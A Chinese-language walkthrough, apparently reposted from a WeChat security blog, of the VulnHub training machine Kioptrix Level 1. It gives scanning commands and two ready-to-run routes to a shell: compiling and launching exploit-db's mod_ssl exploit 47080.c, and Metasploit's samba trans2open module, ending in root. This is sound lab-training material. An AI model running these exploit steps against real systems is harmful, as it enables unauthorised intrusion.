OSCP难度靶机之Kioptrix Level 1(#1)

虚拟机信息：

虚拟机下载地址：https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

虚拟机简介：游戏的目的是通过任何可能的方式获取root用户访问权限

目标：1个flag

级别：初级

1、信息收集

1.1通过arp-scan检测主机IP地址

arp-scan 192.168.1.0/24

1.2 通过nmap进行端口扫描

nmap -A -sS -sV -v -p- 192.168.1.6

查看开放22、80、111、139、443端口

2、渗透测试

2.1 HTTP渗透测试

nikto -host http://192.168.1.6

存在CVE漏洞

2.2 漏洞利用方式1

searchsploit mod_ssl

cp /usr/share/exploitdb/exploits/unix/remote/47080.c .
apt install libssl-dev
gcc -o OpenFuck 47080.c -lcrypto

chmod 777 OpenFuck
./OpenFuck

./OpenFuck 0x6b 192.168.1.6 443 -c 40

获取到shell权限

由于需要联网下载库文件，网络不通只获取到Apache权限

2.3 漏洞利用方式2

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.1.6
run

提示有trans2open漏洞

use exploit/linux/samba/trans2open
set rhosts 192.168.1.6
set target 0
run

获取到shell会话

已经获取到root权限

原文始发于微信公众号（安全孺子牛）：OSCP难度靶机之Kioptrix Level 1(#1)